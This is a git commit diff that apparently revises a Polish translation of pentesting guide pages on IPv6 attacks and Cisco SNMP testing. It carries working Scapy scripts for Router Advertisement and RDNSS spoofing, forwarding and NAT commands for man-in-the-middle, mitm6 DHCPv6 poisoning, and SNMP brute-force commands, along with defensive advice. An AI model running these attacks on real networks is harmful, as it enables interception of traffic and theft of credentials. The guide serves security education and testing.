Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-20 11:32:28 +00:00
parent 0cc255595d
commit b684260c43
2 changed files with 27 additions and 27 deletions

View File

@ -14,8 +14,8 @@ Adresy IPv6 są zorganizowane w celu poprawy organizacji sieci i interakcji urz
Podczas gdy IPv6 pomija protokół ARP występujący w IPv4, wprowadza **ICMPv6** z dwoma głównymi komunikatami: Podczas gdy IPv6 pomija protokół ARP występujący w IPv4, wprowadza **ICMPv6** z dwoma głównymi komunikatami:
- **Zapytanie sąsiedztwa (NS)**: Wiadomości multicastowe do rozwiązywania adresów. - **Zapytanie sąsiednie (NS)**: Wiadomości multicastowe do rozwiązywania adresów.
- **Ogłoszenie sąsiedztwa (NA)**: Odpowiedzi unicastowe na NS lub spontaniczne ogłoszenia. - **Ogłoszenie sąsiednie (NA)**: Odpowiedzi unicastowe na NS lub spontaniczne ogłoszenia.
IPv6 wprowadza również specjalne typy adresów: IPv6 wprowadza również specjalne typy adresów:
@ -27,7 +27,7 @@ IPv6 wprowadza również specjalne typy adresów:
Aby interagować z sieciami IPv6, można używać różnych poleceń: Aby interagować z sieciami IPv6, można używać różnych poleceń:
- **Ping adresy lokalne**: Sprawdź obecność lokalnych urządzeń za pomocą `ping6`. - **Ping adresy lokalne**: Sprawdź obecność lokalnych urządzeń za pomocą `ping6`.
- **Odkrywanie sąsiedztwa**: Użyj `ip neigh`, aby zobaczyć urządzenia odkryte na warstwie łącza. - **Odkrywanie sąsiadów**: Użyj `ip neigh`, aby zobaczyć urządzenia odkryte na warstwie łącza.
- **alive6**: Alternatywne narzędzie do odkrywania urządzeń w tej samej sieci. - **alive6**: Alternatywne narzędzie do odkrywania urządzeń w tej samej sieci.
Poniżej znajdują się przykłady poleceń: Poniżej znajdują się przykłady poleceń:
@ -50,7 +50,7 @@ Dany adres MAC **`12:34:56:78:9a:bc`**, możesz skonstruować adres Link-local I
### **Typy adresów IPv6** ### **Typy adresów IPv6**
- **Unique Local Address (ULA)**: Do komunikacji lokalnej, nieprzeznaczone do routingu w Internecie. Prefiks: **`FEC00::/7`** - **Unique Local Address (ULA)**: Do komunikacji lokalnej, nieprzeznaczone do routingu w internecie. Prefiks: **`FEC00::/7`**
- **Multicast Address**: Do komunikacji jeden-do-wielu. Dostarczany do wszystkich interfejsów w grupie multicast. Prefiks: **`FF00::/8`** - **Multicast Address**: Do komunikacji jeden-do-wielu. Dostarczany do wszystkich interfejsów w grupie multicast. Prefiks: **`FF00::/8`**
- **Anycast Address**: Do komunikacji jeden-do-najbliższego. Wysyłany do najbliższego interfejsu zgodnie z protokołem routingu. Część globalnego zakresu unicast **`2000::/3`**. - **Anycast Address**: Do komunikacji jeden-do-najbliższego. Wysyłany do najbliższego interfejsu zgodnie z protokołem routingu. Część globalnego zakresu unicast **`2000::/3`**.
@ -59,8 +59,8 @@ Dany adres MAC **`12:34:56:78:9a:bc`**, możesz skonstruować adres Link-local I
- **fe80::/10**: Adresy Link-Local (podobne do 169.254.x.x) - **fe80::/10**: Adresy Link-Local (podobne do 169.254.x.x)
- **fc00::/7**: Unique Local-Unicast (podobne do prywatnych zakresów IPv4, takich jak 10.x.x.x, 172.16.x.x, 192.168.x.x) - **fc00::/7**: Unique Local-Unicast (podobne do prywatnych zakresów IPv4, takich jak 10.x.x.x, 172.16.x.x, 192.168.x.x)
- **2000::/3**: Global Unicast - **2000::/3**: Global Unicast
- **ff02::1**: Multicast All Nodes - **ff02::1**: Multicast Wszystkie Węzły
- **ff02::2**: Multicast Router Nodes - **ff02::2**: Multicast Węzły Routerów
### **Odkrywanie adresów IPv6 w sieci** ### **Odkrywanie adresów IPv6 w sieci**
@ -81,7 +81,7 @@ ip -6 neigh # Display the neighbor table
Istnieje kilka technik wykonywania ataków MitM w sieciach IPv6, takich jak: Istnieje kilka technik wykonywania ataków MitM w sieciach IPv6, takich jak:
- Fałszowanie reklamacji sąsiadów lub routerów ICMPv6. - Fałszowanie reklam sąsiedztwa lub routera ICMPv6.
- Używanie komunikatów ICMPv6 redirect lub "Packet Too Big" do manipulacji trasowaniem. - Używanie komunikatów ICMPv6 redirect lub "Packet Too Big" do manipulacji trasowaniem.
- Atakowanie mobilnego IPv6 (zwykle wymaga wyłączenia IPSec). - Atakowanie mobilnego IPv6 (zwykle wymaga wyłączenia IPSec).
- Ustawienie nieautoryzowanego serwera DHCPv6. - Ustawienie nieautoryzowanego serwera DHCPv6.
@ -90,7 +90,7 @@ Istnieje kilka technik wykonywania ataków MitM w sieciach IPv6, takich jak:
### Badanie subdomen ### Badanie subdomen
Metoda znajdowania subdomen, które mogą być powiązane z adresami IPv6, polega na wykorzystaniu wyszukiwarek. Na przykład, zastosowanie wzoru zapytania takiego jak `ipv6.*` może być skuteczne. Konkretnie, można użyć następującego polecenia wyszukiwania w Google: Metoda znajdowania subdomen, które mogą być powiązane z adresami IPv6, polega na wykorzystaniu wyszukiwarek. Na przykład, zastosowanie wzoru zapytania takiego jak `ipv6.*` może być skuteczne. Konkretnie, następujące polecenie wyszukiwania można użyć w Google:
```bash ```bash
site:ipv6./ site:ipv6./
``` ```
@ -112,7 +112,7 @@ Poniższe sekcje obejmują praktyczne ataki IPv6 na warstwie 2, które można wy
### Dostosowanie systemu do stabilnego laboratorium ### Dostosowanie systemu do stabilnego laboratorium
Przed zabawą z ruchem IPv6 zaleca się wzmocnienie swojego systemu, aby uniknąć bycia zatrutym przez własne testy i uzyskać najlepszą wydajność podczas masowego wstrzykiwania/podsłuchiwania pakietów. Przed zabawą z ruchem IPv6 zaleca się wzmocnienie swojego systemu, aby uniknąć zanieczyszczenia własnymi testami i uzyskać najlepszą wydajność podczas masowego wstrzykiwania/podsłuchiwania pakietów.
```bash ```bash
# Enable promiscuous mode to capture all frames # Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on sudo ip link set dev eth0 promisc on
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
``` ```
### Pasywne sniffowanie NDP i DHCPv6 ### Pasywne sniffowanie NDP i DHCPv6
Ponieważ każdy host IPv6 **automatycznie dołącza do wielu grup multicastowych** (`ff02::1`, `ff02::2`, …) i używa ICMPv6 do SLAAC/NDP, możesz zmapować cały segment bez wysyłania pojedynczego pakietu. Poniższy jednowierszowy skrypt Python/Scapy nasłuchuje najciekawszych wiadomości L2 i drukuje kolorowy, stemplowany czasem log, kto jest kim: Ponieważ każdy host IPv6 **automatycznie dołącza do wielu grup multicastowych** (`ff02::1`, `ff02::2`, …) i komunikuje się za pomocą ICMPv6 dla SLAAC/NDP, możesz zmapować cały segment bez wysyłania pojedynczego pakietu. Poniższy jednowierszowy skrypt Python/Scapy nasłuchuje najciekawszych wiadomości L2 i drukuje kolorowy, stemplowany czasem log, kto jest kim:
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3
from scapy.all import * from scapy.all import *
@ -197,9 +197,9 @@ sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
``` ```
Wynik: pełna **topologia link-local** (MAC ⇄ IPv6) w ciągu kilku sekund, bez wywoływania systemów IPS/IDS, które polegają na aktywnych skanach. Wynik: pełna **topologia link-local** (MAC ⇄ IPv6) w ciągu kilku sekund, bez wywoływania systemów IPS/IDS, które polegają na aktywnych skanach.
### Fałszowanie Reklam Routera (RA) ### Fałszowanie ogłoszeń routera (RA)
Hosty IPv6 polegają na **Reklamach Routera ICMPv6** w celu odkrywania domyślnej bramy. Jeśli wstrzykniesz sfałszowane RA **częściej** niż prawdziwy router, urządzenia cicho przełączą się na Ciebie jako bramę. Hosty IPv6 polegają na **ogłoszeniach routera ICMPv6** w celu odkrywania domyślnej bramy. Jeśli wstrzykniesz sfałszowane RA **częściej** niż prawdziwy router, urządzenia cicho przełączą się na ciebie jako bramę.
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3
from scapy.all import * from scapy.all import *
@ -221,13 +221,13 @@ ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval) send(ra,iface=args.interface,loop=1,inter=args.interval)
``` ```
Aby faktycznie **przekierować ruch** po wygraniu wyścigu: Aby faktycznie **przekazywać ruch** po wygraniu wyścigu:
```bash ```bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1 sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
``` ```
#### Flagi Ogłoszenia Routera (M/O) i Preferencje Domyślnego Routera (Prf) #### Flagi Ogłoszenia Routera (M/O) i Preferencje Domowego Routera (Prf)
| Flaga | Znaczenie | Efekt na zachowanie klienta | | Flaga | Znaczenie | Efekt na zachowanie klienta |
|-------|-----------|-----------------------------| |-------|-----------|-----------------------------|
@ -242,11 +242,11 @@ sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertise
``` ```
Szukaj pola `flags [M,O]` w zrzucie nie ma potrzeby zgadywania. Szukaj pola `flags [M,O]` w zrzucie nie ma potrzeby zgadywania.
Pole **Prf** (Router Preference) wewnątrz nagłówka RA kontroluje, jak atrakcyjny wygląda twój fałszywy router, gdy obecnych jest *wiele* bram: Pole **Prf** (Router Preference) wewnątrz nagłówka RA kontroluje, jak atrakcyjny wygląda twój fałszywy router, gdy obecnych jest *wiele* bramek:
| Wartość Prf | Binarnie | Znaczenie | | Wartość Prf | Binarnie | Znaczenie |
|-------------|----------|-----------| |-------------|----------|-----------|
| **Wysoki** | `10` | Klienci preferują ten router nad jakimkolwiek *Średnim*/*Niskim* | | **Wysoki** | `10` | Klienci preferują ten router nad jakikolwiek *Średni*/*Niski* |
| Średni (domyślny) | `01` | Używany przez prawie każde legalne urządzenie | | Średni (domyślny) | `01` | Używany przez prawie każde legalne urządzenie |
| Niski | `00` | Wybierany tylko wtedy, gdy nie ma lepszego routera | | Niski | `00` | Wybierany tylko wtedy, gdy nie ma lepszego routera |
@ -276,11 +276,11 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval) send(ra,iface=args.interface,loop=1,inter=args.interval)
``` ```
Klienci **dodają** twoje DNS do swojej listy resolverów na dany czas życia, co umożliwia pełne przejęcie DNS, aż wartość wygaśnie lub wyślesz `lifetime=0` w celu przywrócenia. Klienci **dodają** twoje DNS do swojej listy resolverów na dany czas, co umożliwia pełne przejęcie DNS aż do wygaśnięcia wartości lub wysłania `lifetime=0` w celu przywrócenia.
### DHCPv6 DNS Spoofing (mitm6) ### DHCPv6 DNS Spoofing (mitm6)
Zamiast SLAAC, sieci Windows często polegają na **stateless DHCPv6** dla DNS. [mitm6](https://github.com/rofl0r/mitm6) automatycznie odpowiada na wiadomości `Solicit` za pomocą przepływu **Advertise → Reply**, który przypisuje **twoje lokalne adresy jako DNS na 300 sekund**. To odblokowuje: Zamiast SLAAC, sieci Windows często polegają na **stateless DHCPv6** dla DNS. [mitm6](https://github.com/rofl0r/mitm6) automatycznie odpowiada na wiadomości `Solicit` przepływem **Advertise → Reply**, który przypisuje **twoje lokalne adresy jako DNS na 300 sekund**. To odblokowuje:
* Ataki relay NTLM (WPAD + przejęcie DNS) * Ataki relay NTLM (WPAD + przejęcie DNS)
* Przechwytywanie wewnętrznego rozwiązywania nazw bez dotykania routerów * Przechwytywanie wewnętrznego rozwiązywania nazw bez dotykania routerów
@ -289,14 +289,14 @@ Typowe użycie:
```bash ```bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
``` ```
### Ochrona ### Ochrony
* **RA Guard / DHCPv6 Guard / ND Inspection** na zarządzanych przełącznikach. * **RA Guard / DHCPv6 Guard / ND Inspection** na zarządzanych przełącznikach.
* Port ACL, które pozwalają tylko na wysyłanie RAs przez prawidłowy adres MAC routera. * Port ACL, które pozwalają tylko na wysyłanie RAs przez prawidłowy adres MAC routera.
* Monitorowanie **niesolidnych RAs o wysokiej częstotliwości** lub nagłych **zmian RDNSS**. * Monitorowanie **niesolidnych RAs o wysokiej częstotliwości** lub nagłych **zmian RDNSS**.
* Wyłączenie IPv6 na punktach końcowych to tymczasowe rozwiązanie, które często łamie nowoczesne usługi i ukrywa martwe punkty zamiast tego preferuj filtrowanie L2. * Wyłączenie IPv6 na punktach końcowych to tymczasowe rozwiązanie, które często łamie nowoczesne usługi i ukrywa martwe punkty zamiast tego preferuj filtrowanie L2.
## Odniesienia ## Referencje
- [Legless IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) - [Legless IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
- [mitm6](https://github.com/rofl0r/mitm6) - [mitm6](https://github.com/rofl0r/mitm6)

View File

@ -10,7 +10,7 @@ Klasycznym—ale wciąż niezwykle skutecznym—wektorem ataku jest **brute-forc
```bash ```bash
onesixtyone -c community_strings.txt -i targets.txt onesixtyone -c community_strings.txt -i targets.txt
``` ```
Inne szybkie opcje to skrypt Nmap NSE `snmp-brute` lub moduł SNMP Hydry: Inne szybkie opcje to skrypt Nmap NSE `snmp-brute` lub moduł SNMP Hydra:
```bash ```bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp hydra -P wordlist.txt -s 161 10.10.10.1 snmp
@ -59,10 +59,10 @@ run
## Ostatnie luki w SNMP Cisco (2023 2025) ## Ostatnie luki w SNMP Cisco (2023 2025)
Śledzenie powiadomień od dostawców jest przydatne do określenia możliwości *zero-day-to-n-day* w ramach zaangażowania: Śledzenie powiadomień od dostawców jest przydatne do określenia możliwości *zero-day-to-n-day* w ramach zaangażowania:
| Rok | CVE | Dotknięta funkcja | Wpływ | | Rok | CVE | Affected feature | Impact |
|------|----------------|----------------------------------|-----------------------------------------------------------------------| |------|-----|-----------------|--------|
| 2025 | CVE-2025-20174 | Podsystem SNMP | Opracowany pakiet prowadzi do uwierzytelnionego *DoS* (przeładowanie) na IOS/IOS-XE (v1/v2c/v3). | | 2025 | CVE-2025-20174 | Podsystem SNMP | Opracowany pakiet prowadzi do uwierzytelnionego *DoS* (przeładowanie) na IOS/IOS-XE (v1/v2c/v3). |
| 2024 | CVE-2024-20373 | Obsługa ACL IPv4 | Źle skonfigurowane **rozszerzone** ACL cicho *nie działają*, umożliwiając nieautoryzowane sondowanie SNMP, gdy znana jest ważna społeczność/użytkownik. | | 2024 | CVE-2024-20373 | Obsługa ACL IPv4 | Źle skonfigurowane **rozszerzone** ACL cicho *zawodzą*, umożliwiając nieautoryzowane sondowanie SNMP, gdy znana jest ważna społeczność/użytkownik. |
| 2025 | (brak CVE jeszcze) | Ominięcie ograniczeń konfiguracji SNMPv3 | Ważny użytkownik v3 może sondować z adresów, które powinny być zablokowane. | | 2025 | (brak CVE jeszcze) | Ominięcie ograniczeń konfiguracji SNMPv3 | Ważny użytkownik v3 może sondować z adresów, które powinny być zablokowane. |
Możliwość wykorzystania często nadal zależy od posiadania ciągu społeczności lub poświadczeń v3 kolejny powód, dla którego ich łamanie pozostaje istotne. Możliwość wykorzystania często nadal zależy od posiadania ciągu społeczności lub poświadczeń v3 kolejny powód, dla którego ich łamanie pozostaje istotne.
@ -82,7 +82,7 @@ snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
`snmp-server community <string> RW 99 view SysView` `snmp-server community <string> RW 99 view SysView`
* Monitoruj: * Monitoruj:
- Wzrosty UDP/161 lub nieoczekiwane źródła (reguły SIEM). - Wzrosty UDP/161 lub nieoczekiwane źródła (reguły SIEM).
- Wydarzenia `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` wskazujące na zmiany konfiguracji poza pasmem. - Zdarzenia `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` wskazujące na zmiany konfiguracji poza pasmem.
* Włącz **logowanie SNMPv3** i `snmp-server packetsize 1500`, aby zredukować niektóre wektory DoS. * Włącz **logowanie SNMPv3** i `snmp-server packetsize 1500`, aby zredukować niektóre wektory DoS.
--- ---